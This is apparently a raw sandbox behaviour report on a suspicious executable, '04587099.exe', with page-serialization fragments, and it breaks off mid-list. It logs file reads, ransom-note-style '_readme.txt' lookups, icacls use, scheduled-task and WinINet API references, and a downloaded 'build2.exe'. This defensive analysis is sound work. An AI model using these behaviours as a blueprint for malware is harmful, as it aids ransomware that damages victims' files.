reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_nb-no_8b4360b360f440f8.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_8982abf162204acd.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_cfbf06734742b881.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_pt-br_d212f11745cc4c65.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_ro-ro_172f86bb2ba2879d.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_1997d2472a1d4a6d.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_sk-sk_b8b2d6f41f373c97.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_tr-tr_5ea00703100256b9.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_zh-cn_2ffd2500c03a28d8.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_zh-tw_33f96256bdab0548.manifest" "04587099.exe" reads file "c:\found.000\dir0002.chk\amd64_microsoft-windows-coreos-16bit_31bf3856ad364e35_10.0.17134.1_none_a66e3b70508f4b68.manifest" "04587099.exe" reads file "c:\found.000\dir0003.chk\appviewmanager.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\cloudexperiencehostapi.syncsettings.winmd" "04587099.exe" reads file "c:\found.000\dir0003.chk\default-progress-template.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\default-progress-vm.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\default-vm.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\default.css" "04587099.exe" reads file "c:\found.000\dir0003.chk\events.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\inclusiveoobe-desktop.css" "04587099.exe" reads file "c:\found.000\dir0003.chk\mobileexperience.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\nointernetpage.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-bookend-cortanaspeak.gif" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-button-template.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-button-vm.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-chrome-breadcrumb-template.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-chrome-breadcrumb-vm.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-chrome-contentview-template.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-chrome-contentview-vm.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-chrome-footer-template.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-cortana-bow.gif" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-cortana-excited.gif" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-desktop.css" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-enterpriseprovisioning-dialog-template.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-enterpriseprovisioning-dialog-vm.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-footer-template.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-footer-vm.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-frame-template.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-header-template.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-header-vm.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-hotkeycontainer-template.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-hotkeycontainer-vm.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-listview-template.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-mobile.css" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-progress-template.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-progress-vm.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-retaildemo-dialog-template.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-retaildemo-dialog-vm.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-retaildemo-exit-dialog-template.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-retaildemo-exit-dialog-vm.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-surface.css" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-textinput-template.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-toggle-template.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobe-toggle-vm.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobecloudcontenthydrant.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobecortana-main.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobecortana-page.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobedevicepairing-main.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobedevicepairing-page.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobedevicepairing-vm.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobeenterpriseprovisioningafterconnectivity.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobeerror-page.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobeeula-main.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobefooterhost.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobefooterhost.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobehello-main.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobekeyboard-page.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobelanguage-main.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobelanguage-page.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobelicense-main.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobelicense-page.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobelicense-vm.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobelocalaccount-page.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobelocalngc-main.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobelocalngc-page.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobelocalngc-vm.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobeoemregistration-main.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobeoemregistration-page.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobeoutro-main.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobeoutro-page.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobeprovisioningentry-data.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobeprovisioningentry-main.html" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobeprovisioningentry-page.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobeprovisioningentry-vm.js" "04587099.exe" reads file "c:\found.000\dir0003.chk\oobeprovisioningstatus-data.js" "04587099.exe" reads file "c:\users\hapubws\appdata\local\bowsakkdestx.txt"51:T55c,Found reference to API "RegisterTaskDefinition. Err: %X" (Indicator: "RegisterTask"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "RegisterTaskDefinition. Err: %X" (Indicator: "RegisterTaskDefinition"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "RegisterTaskDefinition. Err: %X" (Indicator: "RegisterTask"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "RegisterTaskDefinition. Err: %X" (Indicator: "RegisterTaskDefinition"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "RegisterTaskDefinition. Err: %X" (Indicator: "RegisterTask"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "RegisterTaskDefinition. Err: %X" (Indicator: "RegisterTaskDefinition"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "RegisterTaskDefinition. Err: %X" (Indicator: "RegisterTask"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "RegisterTaskDefinition. Err: %X" (Indicator: "RegisterTaskDefinition"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")52:T440,"04587099.exe" touched file "C:\Users\HAPUBWS\AppData\Local\Microsoft\Windows\INetCache" "04587099.exe" touched file "C:\Users\HAPUBWS\AppData\Local\Microsoft\Windows\INetCookies" "04587099.exe" touched file "C:\Users\HAPUBWS\AppData\Local\Microsoft\Windows\History" "04587099.exe" touched file "C:\Users\HAPUBWS\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\geo[1].json" "04587099.exe" touched file "C:\Users\HAPUBWS\AppData\Local\Microsoft\Windows\Caches" "04587099.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "04587099.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache" "04587099.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCookies" "04587099.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "04587099.exe" touched file "C:\Users\HAPUBWS\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\get[1].htm" "04587099.exe" touched file "C:\Users\HAPUBWS\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\build2[1].exe" "04587099.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\LSCBY323\get[1].htm"53:T1828,"04587099.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "04587099.exe" trying to access non-existent file "C:\FLTLIB.DLL" "04587099.exe" trying to access non-existent file "C:\MSIMG32.DLL" "04587099.exe" trying to access non-existent file "C:\MPR.DLL" "04587099.exe" trying to access non-existent file "C:\WININET.DLL" "04587099.exe" trying to access non-existent file "C:\WINMM.DLL" "04587099.exe" trying to access non-existent file "C:\WINMMBASE.DLL" "04587099.exe" trying to access non-existent file "C:\IPHLPAPI.DLL" "04587099.exe" trying to access non-existent file "C:\DNSAPI.DLL" "04587099.exe" trying to access non-existent file "C:\IERTUTIL.DLL" "04587099.exe" trying to access non-existent file "C:\iertutil.dll" "04587099.exe" trying to access non-existent file "C:\URLMON.DLL" "04587099.exe" trying to access non-existent file "C:\urlmon.dll" "04587099.exe" trying to access non-existent file "C:\BCRYPT.DLL" "04587099.exe" trying to access non-existent file "C:\bcrypt.dll" "04587099.exe" trying to access non-existent file "C:\DPAPI.DLL" "04587099.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "04587099.exe" trying to access non-existent file "C:\CRYPTSP.dll" "04587099.exe" trying to access non-existent file "C:\CRYPTNET.DLL" "04587099.exe" trying to access non-existent file "C:\cryptnet.dll" "04587099.exe" trying to access non-existent file "C:\WINNLSRES.DLL" "04587099.exe" trying to access non-existent file "C:\winnlsres.dll" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.EXE" "04587099.exe" trying to access non-existent file "C:\ICACLS.EXE" "04587099.exe" trying to access non-existent file "C:\icacls.exe" "04587099.exe" trying to access non-existent file "icacls.exe" "04587099.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "04587099.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "04587099.exe" trying to access non-existent file "C:\CLDAPI.DLL" "04587099.exe" trying to access non-existent file "C:\CLDAPI.dll" "04587099.exe" trying to access non-existent file "C:\AEPIC.DLL" "04587099.exe" trying to access non-existent file "C:\AEPIC.dll" "04587099.exe" trying to access non-existent file "C:\PROPSYS.DLL" "04587099.exe" trying to access non-existent file "C:\PROPSYS.dll" "04587099.exe" trying to access non-existent file "C:\EDPUTIL.DLL" "04587099.exe" trying to access non-existent file "C:\edputil.dll" "icacls.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "04587099.exe" trying to access non-existent file "C:\msimg32.dll" "04587099.exe" trying to access non-existent file "C:\CSCAPI.DLL" "04587099.exe" trying to access non-existent file "C:\cscapi.dll" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\FLTLIB.DLL" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\MSIMG32.DLL" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\msimg32.dll" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\MPR.DLL" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\WININET.DLL" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\WINMM.DLL" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\WINMMBASE.DLL" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\IPHLPAPI.DLL" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\DNSAPI.DLL" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\IERTUTIL.DLL" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\iertutil.dll" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\DPAPI.DLL" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\CRYPTSP.DLL" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\CRYPTSP.dll" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\BCRYPT.DLL" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\bcrypt.dll" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\URLMON.DLL" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\urlmon.dll" "04587099.exe" trying to access non-existent file "C:\Windows\SysWOW64\KernelBase.dll" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\cscapi.dll" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\NETAPI32.DLL" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\SAMCLI.DLL" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\SRVCLI.DLL" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\srvcli.dll" "04587099.exe" trying to access non-existent file "C:\Windows\SysWOW64\IPHLPAPI.DLL" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\CSCAPI.DLL"54:Te5f,"04587099.exe" trying to access non-existent file "C:\APFHQ" "04587099.exe" trying to access non-existent file "C:\apfHQ" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\BOWSAKKDESTX.TXT" "04587099.exe" trying to access non-existent file "Z:\" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\APFHQ" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\apfHQ" "04587099.exe" trying to access non-existent file "C:\Windows\SysWOW64\APFHQ" "04587099.exe" trying to access non-existent file "C:\WINDOWS\system32\apfHQ" "04587099.exe" trying to access non-existent file "C:\_README.TXT" "04587099.exe" trying to access non-existent file "C:\_readme.txt" "04587099.exe" trying to access non-existent file "C:\found.000\_README.TXT" "04587099.exe" trying to access non-existent file "C:\found.000\_readme.txt" "04587099.exe" trying to access non-existent file "C:\tempdir\_README.TXT" "04587099.exe" trying to access non-existent file "C:\tempdir\_readme.txt" "04587099.exe" trying to access non-existent file "C:\found.000\dir0000.chk\_README.TXT" "04587099.exe" trying to access non-existent file "C:\found.000\dir0000.chk\_readme.txt" "04587099.exe" trying to access non-existent file "C:\found.000\dir0001.chk\_README.TXT" "04587099.exe" trying to access non-existent file "C:\found.000\dir0001.chk\_readme.txt" "04587099.exe" trying to access non-existent file "C:\found.000\dir0002.chk\_README.TXT" "04587099.exe" trying to access non-existent file "C:\found.000\dir0002.chk\_readme.txt" "04587099.exe" trying to access non-existent file "C:\found.000\dir0003.chk\_README.TXT" "04587099.exe" trying to access non-existent file "C:\found.000\dir0003.chk\_readme.txt" "04587099.exe" trying to access non-existent file "C:\found.000\dir0004.chk\_README.TXT" "04587099.exe" trying to access non-existent file "C:\found.000\dir0004.chk\_readme.txt" "04587099.exe" trying to access non-existent file "C:\found.000\dir0005.chk\_README.TXT" "04587099.exe" trying to access non-existent file "C:\found.000\dir0005.chk\_readme.txt" "04587099.exe" trying to access non-existent file "C:\found.000\dir0006.chk\_README.TXT" "04587099.exe" trying to access non-existent file "C:\found.000\dir0006.chk\_readme.txt" "04587099.exe" trying to access non-existent file "C:\found.000\dir0007.chk\_README.TXT" "04587099.exe" trying to access non-existent file "C:\found.000\dir0007.chk\_readme.txt" "04587099.exe" trying to access non-existent file "C:\found.000\dir0008.chk\_README.TXT" "04587099.exe" trying to access non-existent file "C:\found.000\dir0008.chk\_readme.txt" "04587099.exe" trying to access non-existent file "C:\found.000\dir0009.chk\_README.TXT" "04587099.exe" trying to access non-existent file "C:\found.000\dir0009.chk\_readme.txt" "04587099.exe" trying to access non-existent file "C:\found.000\dir0010.chk\_readme.txt" "04587099.exe" trying to access non-existent file "C:\found.000\dir0011.chk\_README.TXT" "04587099.exe" trying to access non-existent file "C:\found.000\dir0011.chk\_readme.txt" "04587099.exe" trying to access non-existent file "C:\found.000\dir0012.chk\_README.TXT" "04587099.exe" trying to access non-existent file "C:\found.000\dir0012.chk\_readme.txt" "04587099.exe" trying to access non-existent file "C:\Users\HAPUBWS\_README.TXT" "04587099.exe" trying to access non-existent file "\Device\NamedPipe\DAV RPC SERVICE"55:T400,"04587099.exe" called "InternetOpenA" (UID: 00000000-00006576) "04587099.exe" called "InternetOpenW with parameter Microsoft Internet Explorer" (UID: 00000000-00006576) "04587099.exe" called "InternetOpenA with parameter Microsoft Internet Explorer" (UID: 00000000-00006344) "04587099.exe" called "InternetOpenW" (UID: 00000000-00006344) "04587099.exe" called "InternetOpenA" (UID: 00000000-00006344) "04587099.exe" called "InternetOpenW with parameter Microsoft Internet Explorer" (UID: 00000000-00006344) "04587099.exe" called "InternetOpenA" (UID: 00000000-00007000) "04587099.exe" called "InternetOpenW" (UID: 00000000-00007000) "04587099.exe" called "InternetOpenA with parameter Microsoft Internet Explorer" (UID: 00000000-00005728) "04587099.exe" called "InternetOpenW with parameter Microsoft Internet Explorer" (UID: 00000000-00005728) "04587099.exe" called "InternetOpenA with parameter Microsoft Internet Explorer" (UID: 00000000-00004284) "04587099.exe" called "InternetOpenW" (UID: 00000000-00004284)56:Td26,Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00006576-00000C25-79069900") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")57:T952,Found string "C:\Build-OpenSSL-VC-32/lib/engines" (Indicator: "openssl-"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl/private" (Indicator: "openssl-"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl" (Indicator: "openssl-"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl/certs" (Indicator: "openssl-"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl/cert.pem" (Indicator: "openssl-"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/lib/engines" (Indicator: "openssl-"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl/private" (Indicator: "openssl-"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl" (Indicator: "openssl-"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl/certs" (Indicator: "openssl-"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl/cert.pem" (Indicator: "openssl-"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/lib/engines" (Indicator: "openssl-"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl/private" (Indicator: "openssl-"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl" (Indicator: "openssl-"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl/certs" (Indicator: "openssl-"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found string "C:\Build-OpenSSL-VC-32/ssl/cert.pem" (Indicator: "openssl-"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")58:T748,Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")59:T19ba,Heuristic match: "9L[.uG" Heuristic match: "8NvV.fJ" Pattern match: "SPj-SPj.SPj/SPj0SPjDSPjESPjFSPjGSPjHSPjISPjJSPjKSPjLSPjMSPjNSPjOSjPj8SPj9SPj:SPj;SPj" Pattern match: "dT.ueM/A?7r:60#W/YCOOO-oFIYa=.L,P3}T9`;i38]*Ul~5PFs|4lDf2^N(1mgE0}BeYnjLfZh^3pkO!|$/VtJDA4##1)p,^.2,c\*/" Pattern match: "0.pVXd/1TooCG/SN!,!=^dY`rT0#*%@2}YOELk+^MGw%TrNmzP+Xmur+'.\Z`|" Pattern match: "JJp.lC/SE^D$.iMX~huKAlX&9Ixw%71" Pattern match: "9r.pP/OBnM" Pattern match: "gKaBz.OoL/NjJ%-" Pattern match: "MuY49.qL/E$&+d,#Xkw+!N$g4f'r2I[L8qyzE,ng[DSW%QN{'4L" Pattern match: "yh.We/Ed$^QIob~x1rZbyA*1*t&b:mh%Oe'!tv;WT$0_" Pattern match: "o-wW.Gt/r]qr28fiKkbH8[*" Pattern match: 